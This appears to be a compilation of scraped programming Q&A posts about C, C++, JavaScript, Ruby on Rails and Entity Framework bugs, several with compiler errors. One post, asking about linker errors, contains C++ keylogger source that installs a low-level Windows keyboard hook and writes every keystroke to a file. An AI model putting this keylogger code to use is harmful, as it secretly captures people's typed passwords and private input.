created if all of your properties are declared virtual. Here's another version of what the method might look like to use CreateSourceQuery with POCOs public class Person { public virtual int ID { get; set; } public virtual string FName { get; set; } public virtual string LName { get; set; } public virtual double Weight { get; set; } public virtual ICollection<Book> Books { get; set; } } public class Book { public virtual int ID { get; set; } public virtual string Title { get; set; } public virtual int Pages { get; set; } public virtual int OwnerID { get; set; } public virtual ICollection<Genre> Genres { get; set; } public virtual Person Owner { get; set; } } public class Genre { public virtual int ID { get; set; } public virtual string Name { get; set; } public virtual Genre ParentGenre { get; set; } public virtual ICollection<Book> Books { get; set; } } public class BookContext : DbContext { public void PrimeBooksCollectionToIncludeGenres(Person P) { if (P.Books is EntityCollection<Book>) (P.Books as EntityCollection<Book>).CreateSourceQuery().Include(b => b.Genres).ToList(); }

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  • Including objects from external .js files

    - by Molle
    I have been searching for many hours over several days for this answer and though there are many topics on how to include files in a project (also here at Stack Overflow), I have not yet found THE solution to my problem. I'm working on a project where I want to include one single object at a time, from many different files (I do not want to include the files themselves, only their content). All the object in all the files have the same name, only the content is different. It is important that I do not get a SCRIPT tag in the head section of the page as all the content from the files will have the same names. None of the files will have functions anyways, only one single object, that will need to be loaded one at the time and then discarded when the next element is loaded. The objects will hold the data that will be shown on the page and they will be called from the menu by an 'onclick' event. function setMenu() // The menu is being build. { var html = ''; html += '<table border="0">'; for (var i = 0; i<menu.pages.length; i++) { html += '<tr class="menuPunkt"><td width="5"></td><td onclick="pageName(this)">'+ menu.pages[i] +'</td><td width="5"></td></tr>'; } // menu is a global object containing elements such as an array with // all the pages that needs to be shown and styling for the menu. html += '</table>'; document.getElementById("menu").innerHTML = html; style.setMenu(); // The menu is being positioned and styled. } Now, when I click on a menu item the pageName function is triggered and I'm sending the HTML element to the function as well, it is here that I want the content from my external file to be loaded into a local variable and used to display content on the page. ** The answer I want is "How to load the external obj into the function where I need it? (It may be an external file, but only in the term of not being included in the head section. I'm still loading the the file from my own local library.** function pageName(elm) // The element that I clicked is elm. { var page = info.innerHTML; // I need only the innerHTML from the element. var file = 'sites/' + page + '.js'; // The file to be loaded is created. var obj = ?? // Here I somehow want the object from the external file to be loaded. // Before doing stuff the the obj. style.content(); } The content from the external file could look like this: // The src for the external page: 'sites/page.js' var obj = new Object() { obj.innerHTML = 'Text to be shown'; obj.style = 'Not important for problem at hand'; obj.otherStuff = ' --||-- '; } Any help will be appreciated, Molle

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  • gtk+ g++ error: invalid use of member

    - by Darragh
    #include <glib.h> #include <gtk/gtk.h> #include <iostream> using namespace std; #ifndef CONNECT4MENU_H #define CONNECT4MENU_H static gboolean deleteEvent( GtkWidget *widget, GdkEvent *event, gpointer data); static int startGame(GtkWidget *widget, GdkEvent *event, gpointer data); static int gui(); GtkWidget *window; GtkWidget *button; GtkWidget *button2; GtkWidget *button3; GtkWidget *button4; GtkWidget *button5; GtkWidget *button6; GtkWidget *box1; GtkWidget *box2; GtkWidget *box3; GtkWidget *box4; GtkWidget *box5; GtkWidget *box6; GSList *group; GSList *group2; int gamet = 0; static int gui() { window = gtk_window_new(GTK_WINDOW_TOPLEVEL); g_signal_connect(G_OBJECT(window), "delete_event", G_CALLBACK(deleteEvent), NULL); box3 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(window), box3); gtk_widget_show(box3); box1 = gtk_hbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box3), box1); gtk_widget_show(box1); button = gtk_radio_button_new_with_label(NULL, "1 Player"); gtk_box_pack_start(GTK_BOX(box1), button, TRUE, TRUE, 0); gtk_widget_show(button); group = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button)); button2 = gtk_radio_button_new_with_label(group, "2 Player"); gtk_box_pack_start(GTK_BOX(box1), button2, TRUE, TRUE, 0); gtk_widget_show(button2); box4 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box3), box4); gtk_widget_show(box4); box2 = gtk_hbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box4), box2); gtk_widget_show(box2); button3 = gtk_radio_button_new_with_label(NULL, "Easy"); gtk_box_pack_start(GTK_BOX(box2), button3, TRUE, TRUE, 0); gtk_widget_show(button3); group2 = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button3)); button4 = gtk_radio_button_new_with_label(group2, "Medium"); gtk_box_pack_start(GTK_BOX(box2), button4, TRUE, TRUE, 0); gtk_widget_show(button4); group2 = gtk_radio_button_get_group(GTK_RADIO_BUTTON(button4)); button5 = gtk_radio_button_new_with_label(group2, "Expert"); gtk_box_pack_start(GTK_BOX(box2), button5, TRUE, TRUE, 0); gtk_widget_show(button5); box5 = gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(box4), box5); gtk_widget_show(box5); button6 = gtk_button_new_with_label ("Start Game"); g_signal_connect (G_OBJECT (button6), "clicked", G_CALLBACK (startGame), NULL); gtk_box_pack_start(GTK_BOX (box5), button6, TRUE, TRUE, 0); gtk_widget_show(button6); gtk_widget_show(window); gtk_main(); } static gboolean deleteEvent(GtkWidget *widget, GdkEvent *event, gpointer data) { gtk_main_quit(); return FALSE; } static int startGame(GtkWidget *widget, GdkEvent *event, gpointer data) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button))) { if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button3))) { gamet = 1; gtk_main_quit(); } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button4))) { gamet = 2; gtk_main_quit(); } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button5))) { gamet = 3; gtk_main_quit(); } } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON(button2))) { gamet = 4; gtk_main_quit(); } } #endif The error I get when I try to compile this is: connect4menu2.h: In member function 'void menu::gui()': connect4menu2.h:46: error: invalid use of member (did you forget the '&' ?) connect4menu2.h:96: error: invalid use of member (did you forget the '&' ?) I cannot understand why I can't call startGame and deleteEvent from gui. Does anybody know why I am getting this error

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  • No Method Error in Ruby

    - by JayG
    Hi, I currently have a Rails Apps that lets users drag and drop certain elements of the webpage and updates the application based on the users choice. This is done with the help of the Rails helpers and AJAX. However I keep running into a "NoMethodError" in Ruby. NoMethodError in ProjectsController#member_change undefined method `symbolize_keys' for nil:NilClass Here is the method that is being called. My trace says that error is occurring in this line: before = u.functions_for(r.authorizable_id) u.roles << r unless u.roles.include? r u.save flag_changed = true after = u.functions_for(r.authorizable_id) And here is the function being called def member_change flag_changed = false params['u'] =~ /role_(\d+)_user_(\d+)/ drag_role_id = $1 user_id = $2 params['r'] =~ /role_(\d+)/ drop_role_id = $1 if u=User.find(user_id) if r=Role.find(drop_role_id) if drag_role_id.to_i !=0 and old_r=Role.find(drag_role_id) if drag_role_id == drop_role_id #fom A to A => nothing happen flash.now[:warning] = _('No Operation...') elsif r.authorizable_id == old_r.authorizable_id #the same project? old_r.users.delete(u) unless old_r.valid? flash.now[:warning] = _('Group "Admin" CAN NOT be EMPTY.') old_r.users << u #TODO: better recovery member_edit #if flag_changed render :action => :member_edit, :layout => 'module_with_flash' return end old_r.save r.users << u unless r.users.include? u r.save flag_changed = true before = u.functions_for(r.authorizable_id) after = u.functions_for(r.authorizable_id) added = after - before removed = before - after added.each do |f| ApplicationController::send_msg(:function,:create, {:function_name => f.name, :user_id => u.id, :project_id => r.authorizable_id }) end removed.each do |f| ApplicationController::send_msg(:function,:delete, {:function_name => f.name, :user_id => u.id, :project_id => r.authorizable_id }) end flash.now[:notice] = _( 'Move User to Group' ) + " #{ r.name }" else flash.now[:warning] = _('You can\'t move User between Groups that belong to different Projects.') end else before = u.functions_for(r.authorizable_id) u.roles << r unless u.roles.include? r u.save flag_changed = true after = u.functions_for(r.authorizable_id) added = after - before added.each do |f| ApplicationController::send_msg(:function,:create, {:function_name => f.name, :user_id => u.id, :project_id => r.authorizable_id }) end flash.now[:notice] = _( 'Add User into Group' ) + " #{ r.name }" end else flash.now[:warn] = _( 'Group doesn\'t exist!' ) + ": #{ r.name }" end else flash.now[:warning] = _( 'User doesn\'t exist!' ) + ": #{ u.login }" end member_edit #if flag_changed render :action => :member_edit, :layout => 'module_with_flash' end and the JavaScript used to call the function jQuery('#RemoveThisMember').droppable({accept:'.RolesUsersSelection', drop:function(ev,ui){ if (confirm("This will remove User from this Group, are you sure?")) {jQuery.ajax({data:'u=' + encodeURIComponent(jQuery(ui.draggable).attr('id')), success:function(request){jQuery('#module_content').html(request);}, type:'post', url:'/of/projects/11/member_delete'});} }, hoverClass:'ProjectRoleDropDelete_active'}) Any ideas? Thanks,

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  • error in assigning a const character to an unsigned char array in C++

    - by mekasperasky
    #include <iostream> #include <fstream> #include <cstring> using namespace std; typedef unsigned long int WORD; /* Should be 32-bit = 4 bytes */ #define w 32 /* word size in bits */ #define r 12 /* number of rounds */ #define b 16 /* number of bytes in key */ #define c 4 /* number words in key */ /* c = max(1,ceil(8*b/w)) */ #define t 26 /* size of table S = 2*(r+1) words */ WORD S [t],L[c]; /* expanded key table */ WORD P = 0xb7e15163, Q = 0x9e3779b9; /* magic constants */ /* Rotation operators. x must be unsigned, to get logical right shift*/ #define ROTL(x,y) (((x)<<(y&(w-1))) | ((x)>>(w-(y&(w-1))))) #define ROTR(x,y) (((x)>>(y&(w-1))) | ((x)<<(w-(y&(w-1))))) void RC5_DECRYPT(WORD *ct, WORD *pt) /* 2 WORD input ct/output pt */ { WORD i, B=ct[1], A=ct[0]; for (i=r; i>0; i--) { B = ROTR(B-S [2*i+1],A)^A; A = ROTR(A-S [2*i],B)^B; } pt [1] = B-S [1] ;pt [0] = A-S [0]; } void RC5_SETUP(unsigned char *K) /* secret input key K 0...b-1] */ { WORD i, j, k, u=w/8, A, B, L [c]; /* Initialize L, then S, then mix key into S */ for (i=b-1,L[c-1]=0; i!=-1; i--) L[i/u] = (L[i/u]<<8)+K[ i]; for (S [0]=P,i=1; i<t; i++) S [i] = S [i-1]+Q; for (A=B=i=j=k=0; k<3*t; k++,i=(i+1)%t,j=(j+1)%c) /* 3*t > 3*c */ { A = S[i] = ROTL(S [i]+(A+B),3); B = L[j] = ROTL(L[j]+(A+B),(A+B)); } } void printword(WORD A) { WORD k; for (k=0 ;k<w; k+=8) printf("%02.2lX",(A>>k)&0xFF); } int main() { WORD i, j, k, pt [2], pt2 [2], ct [2] = {0,0}; unsigned char key[b]; ofstream out("cpt.txt"); ifstream in("key.txt"); if(!in) { cout << "Cannot open file.\n"; return 1; } if(!out) { cout << "Cannot open file.\n"; return 1; } key="111111000001111"; RC5_SETUP(key); ct[0]=2185970173; ct[1]=3384368406; for (i=1;i<2;i++) { RC5_DECRYPT(ct,pt2); printf("\n plaintext "); printword(pt [0]); printword(pt[1]); } return 0; } When I compile this code, I get two warnings and also an error saying that I can't assign a char value to my character array. Why is that?

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  • Can i use a switch to hold a function?

    - by TIMOTHY
    I have a 3 file program, basically teaching myself c++. I have an issue. I made a switch to use the math function. I need and put it in a variable, but for some reason I get a zero as a result. Also another issue, when I select 4 (divide) it crashes... Is there a reason? Main file: #include <iostream> #include "math.h" #include <string> using namespace std; int opersel; int c; int a; int b; string test; int main(){ cout << "Welcome to Math-matrix v.34"<< endl; cout << "Shall we begin?" <<endl; //ASK USER IF THEY ARE READY TO BEGIN string answer; cin >> answer; if(answer == "yes" || answer == "YES" || answer == "Yes") { cout << "excellent lets begin..." << endl; cout << "please select a operator..." << endl << endl; cout << "(1) + " << endl; cout << "(2) - " << endl; cout << "(3) * " << endl; cout << "(4) / " << endl; cin >> opersel; switch(opersel){ case 1: c = add(a,b); break; case 2: c = sub(a,b); break; case 3: c = multi(a,b); break; case 4: c = divide(a,b); break; default: cout << "error... retry" << endl; }// end retry cout << "alright, how please select first digit?" << endl; cin >> a; cout << "excellent... and your second?" << endl; cin >> b; cout << c; cin >> test; }else if (answer == "no" || answer == "NO" || answer == "No"){ }//GAME ENDS }// end of int main Here is my math.h file #ifndef MATH_H #define MATH_H int add(int a, int b); int sub(int a, int b); int multi(int a, int b); int divide(int a, int b); #endif Here is my math.cpp: int add(int a, int b) { return a + b; } int sub(int a, int b) { return a - b; } int multi(int a, int b) { return a * b; } int divide(int a, int b) { return a / b; } }// end of int main

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  • Can anyone help me find why this C program work on VS2005 but not on DEV-C++

    - by user333771
    Hello to everybody..and greetings from Greece I have a C program for an exercise and it has a strange issue The program runs just fine on VS 2005 but it crashes on DEV-C++ and the problem that the problem is that the exercise is always evaluated against DEV-C++ The program is about inserting nodes to a BST and this is where the problem lies... Well i would really appreciate some help. enter code here #include <stdio.h> #include <stdlib.h> #include <malloc.h> typedef struct tree_node { int value; int weight; struct tree_node *left; struct tree_node *right; } TREE_NODE; /* The Following function creates a Binary Search Treed */ TREE_NODE *create_tree(int list[], int size); TREE_NODE *search_pos_to_insert(TREE_NODE *root, int value, int *left_or_right); /* this is the problematic function */ void inorder(TREE_NODE *root); /* Inorder Traversing */ TREE_NODE *temp; int main() { TREE_NODE *root; /* Pointer to the root of the BST */ int values[] = {10, 5, 3, 4, 1, 9, 6, 7, 8, 2}; /* Values for BST */ int size = 10, tree_weight; root = create_tree(values, 10); printf("\n"); inorder(root); /* Inorder BST*/ system("PAUSE"); } TREE_NODE *search_pos_to_insert(TREE_NODE *root, int value, int *left_or_right) { if(root !=NULL) { temp = root; if(value >root->value) { *left_or_right=1; *search_pos_to_insert(root->right, value, left_or_right); } else { *left_or_right=0; *search_pos_to_insert(root->left, value, left_or_right); } } else return temp;/* THIS IS THE PROBLEM (1) */ } TREE_NODE *create_tree(int list[], int size) { TREE_NODE *new_node_pntr, *insert_point, *root = NULL; int i, left_or_right; /* First Value of the Array is the root of the BST */ new_node_pntr = (TREE_NODE *) malloc(sizeof(TREE_NODE)); new_node_pntr->value = list[0]; /* ¸íèåóå ôçí ðñþôç ôéìÞ ôïõ ðßíáêá. */ new_node_pntr->weight = 0; new_node_pntr->left = NULL; new_node_pntr->right = NULL; root = new_node_pntr; /* Now the rest of the arrat. */ for (i = 1; i < size; i++) { insert_point = search_pos_to_insert(root, list[i], &left_or_right); /* THIS IS THE PROBLEM (2) */ /* insert_point just won't get the return from temp */ new_node_pntr = (TREE_NODE *) malloc(sizeof(TREE_NODE)); new_node_pntr->value = list[i]; new_node_pntr->weight = 0; new_node_pntr->left = NULL; new_node_pntr->right = NULL; if (left_or_right == 0) insert_point->left = new_node_pntr; else insert_point->right = new_node_pntr; } return(root); } void inorder(TREE_NODE *root) { if (root == NULL) return; inorder(root->left); printf("Value: %d, Weight: %d.\n", root->value, root->weight); inorder(root->right); }

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  • Mallocing an unsigned char array to store ints

    - by Max Desmond
    I keep getting a segmentation fault when i test the following code. I am currently unable to find an answer after having searched the web. a = (byte *)malloc(sizeof(byte) * x ) ; for( i = 0 ; i < x-1 ; i++ ) { scanf("%d", &y ) ; a[i] = y ; } Both y and x are initialized. X is the size of the array determined by the user. The segmentation fault is on the second to last integer to be added, i found this by adding printf("roar") ; before setting a[i] to y and entering one number at a time. Byte is a typedef of an unsigned char. Note: I've also tried using a[i] = (byte)y ; A is ininitalized as follows byte *a ; If you need to view the entire code it is this: #include <stdio.h> #include <stdlib.h> #include "sort.h" int p_cmp_f () ; int main( int argc, char *argv[] ) { int x, y, i, choice ; byte *a ; while( choice !=2 ) { printf( "Would you like to sort integers?\n1. Yes\n2. No\n" ) ; scanf("%d", &choice ) ; switch(choice) { case 1: printf( "Enter the length of the array: " ) ; scanf( "%d", &x ) ; a = (byte *)malloc(sizeof( byte ) * x ) ; printf( "Enter %d integers to add to the array: ", x ) ; for( i = 0 ; i < x -1 ; i++ ) { scanf( "%d", &y ) ; a[i] = y ; } switch( choice ) { case 1: bubble_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 2: selection_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x; i++ ) printf( "%d", a[i] ; break ; case 3: insertion_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 4: merge_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; case 5: quick_sort( a, x, sizeof(int), p_cmp_f ) ; for( i = 0 ; i < x ; i++ ) printf( "%d", a[i] ; break ; default: printf("Enter either 1,2,3,4, or 5" ) ; break ; } case 2: printf( "Thank you for using this program\n" ) ; return 0 ; break ; default: printf( "Enter either 1 or 2: " ) ; break ; } } free(a) ; return 0 ; } int p_cmp_f( byte *element1, byte *element2 ) { return *((int *)element1) - *((int *)element2) ; }

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  • Counting number of times an item occurs in a linked list

    - by HanaCHaN92
    Here is the assignment: Here's the assignment: Implement a method countValue() that counts the number of times an item occurs in a linked list. Remember to use the STL list. int countValue(list front, const int item); Generate 20 random numbers in the range of 0 to 4, and insert each number in the linked list. Output the list by using a method which you would call writeLinkedList which you would add to the ListP.cpp. In a loop, call the method countValue() , and display the number of occurrences of each value from 0 to 4 in the list. Remember that all the above is to be included in the file ListP.ccp Run: 2 3 4 0 1 0 2 4 2 3 3 4 3 3 3 0 0 2 0 2 0 : 5, 1 : 1, 2 : 5, 3 : 6, 4 : 3 and here is what I have so far: #include<iostream> #include<list> #include<tchar.h> int countValue(list<int> front, const int item); using namespace std; int _tmain(int argc, _TCHAR* argv[]){ list<int> front; int listCount; cout << "Enter the size of the list: "; cin >> listCount; for (int i = 1; i <= listCount; i++) front.insert(rand()%5); cout << "Original List of Values: " << endl; //writeLinkedList(front, " "); cout << endl; for(int j=0;j<5;++j) cout << countValue (front,j) << endl; cout << endl; return 0; } int countValue(list<int> front, const int item) { int count0; int count1; int count2; int count3; int count4; list<int> *List; for(list<int>::iterator i = front.begin(); i != front.end(); i++) { if(List->item == 0) { count0++; } if(List->item == 1) { count1++; } if(List->item == 2) { count2++; } if(List->item == 3) { count2++; }if(List->item == 4) { count4++; } } } And here are the errors: error C2065: 'list' : undeclared identifier line 5 error C2062: type 'int' unexpected line 5 error C2661: 'std::list<_Ty>::insert' : no overloaded function takes 1 arguments line 16 error C3861: 'countValue': identifier not found line 21 IntelliSense: no instance of overloaded function "std::list<_Ty, _Ax>::insert [with _Ty=int, _Ax=std::allocator<int>]" matches the argument list line 16 IntelliSense: too few arguments in function call line 16 error C2039: 'item': is not a member of 'std::list<_Ty>' lines 34, 38, 42, 46, 49 IntelliSense: declaration is incompatible with "int countValue" (declared at line 5) line 25 IntelliSense: class "std::list<int, std:: allocator<int>>" has no member "item" lines 34, 38, 42, 46, 49 I just want to know what I've done wrong and how to fix it and also if someone could help me figure out if I'm doing the countValue function wrong or not based on the instructions I would really appreciate it. I've read the chapter in our textbook several times, looked up tutorials on youtube and on Dream in Code, and still I can not figure this out. All helpful information is appreciated!

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  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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  • error in assigning a const character to a usigned char array in C++

    - by mekasperasky
    #include <iostream> #include <fstream> #include <cstring> using namespace std; typedef unsigned long int WORD; /* Should be 32-bit = 4 bytes */ #define w 32 /* word size in bits */ #define r 12 /* number of rounds */ #define b 16 /* number of bytes in key */ #define c 4 /* number words in key */ /* c = max(1,ceil(8*b/w)) */ #define t 26 /* size of table S = 2*(r+1) words */ WORD S [t],L[c]; /* expanded key table */ WORD P = 0xb7e15163, Q = 0x9e3779b9; /* magic constants */ /* Rotation operators. x must be unsigned, to get logical right shift*/ #define ROTL(x,y) (((x)<<(y&(w-1))) | ((x)>>(w-(y&(w-1))))) #define ROTR(x,y) (((x)>>(y&(w-1))) | ((x)<<(w-(y&(w-1))))) void RC5_DECRYPT(WORD *ct, WORD *pt) /* 2 WORD input ct/output pt */ { WORD i, B=ct[1], A=ct[0]; for (i=r; i>0; i--) { B = ROTR(B-S [2*i+1],A)^A; A = ROTR(A-S [2*i],B)^B; } pt [1] = B-S [1] ;pt [0] = A-S [0]; } void RC5_SETUP(unsigned char *K) /* secret input key K 0...b-1] */ { WORD i, j, k, u=w/8, A, B, L [c]; /* Initialize L, then S, then mix key into S */ for (i=b-1,L[c-1]=0; i!=-1; i--) L[i/u] = (L[i/u]<<8)+K[ i]; for (S [0]=P,i=1; i<t; i++) S [i] = S [i-1]+Q; for (A=B=i=j=k=0; k<3*t; k++,i=(i+1)%t,j=(j+1)%c) /* 3*t > 3*c */ { A = S[i] = ROTL(S [i]+(A+B),3); B = L[j] = ROTL(L[j]+(A+B),(A+B)); } } void printword(WORD A) { WORD k; for (k=0 ;k<w; k+=8) printf("%02.2lX",(A>>k)&0xFF); } int main() { WORD i, j, k, pt [2], pt2 [2], ct [2] = {0,0}; unsigned char key[b]; ofstream out("cpt.txt"); ifstream in("key.txt"); if(!in) { cout << "Cannot open file.\n"; return 1; } if(!out) { cout << "Cannot open file.\n"; return 1; } key="111111000001111"; RC5_SETUP(key); ct[0]=2185970173; ct[1]=3384368406; for (i=1;i<2;i++) { RC5_DECRYPT(ct,pt2); printf("\n plaintext "); printword(pt [0]); printword(pt[1]); } return 0; } when i run this code i get two warnings and also an error saying that i cant assign a char value to my character array . Why is that ?

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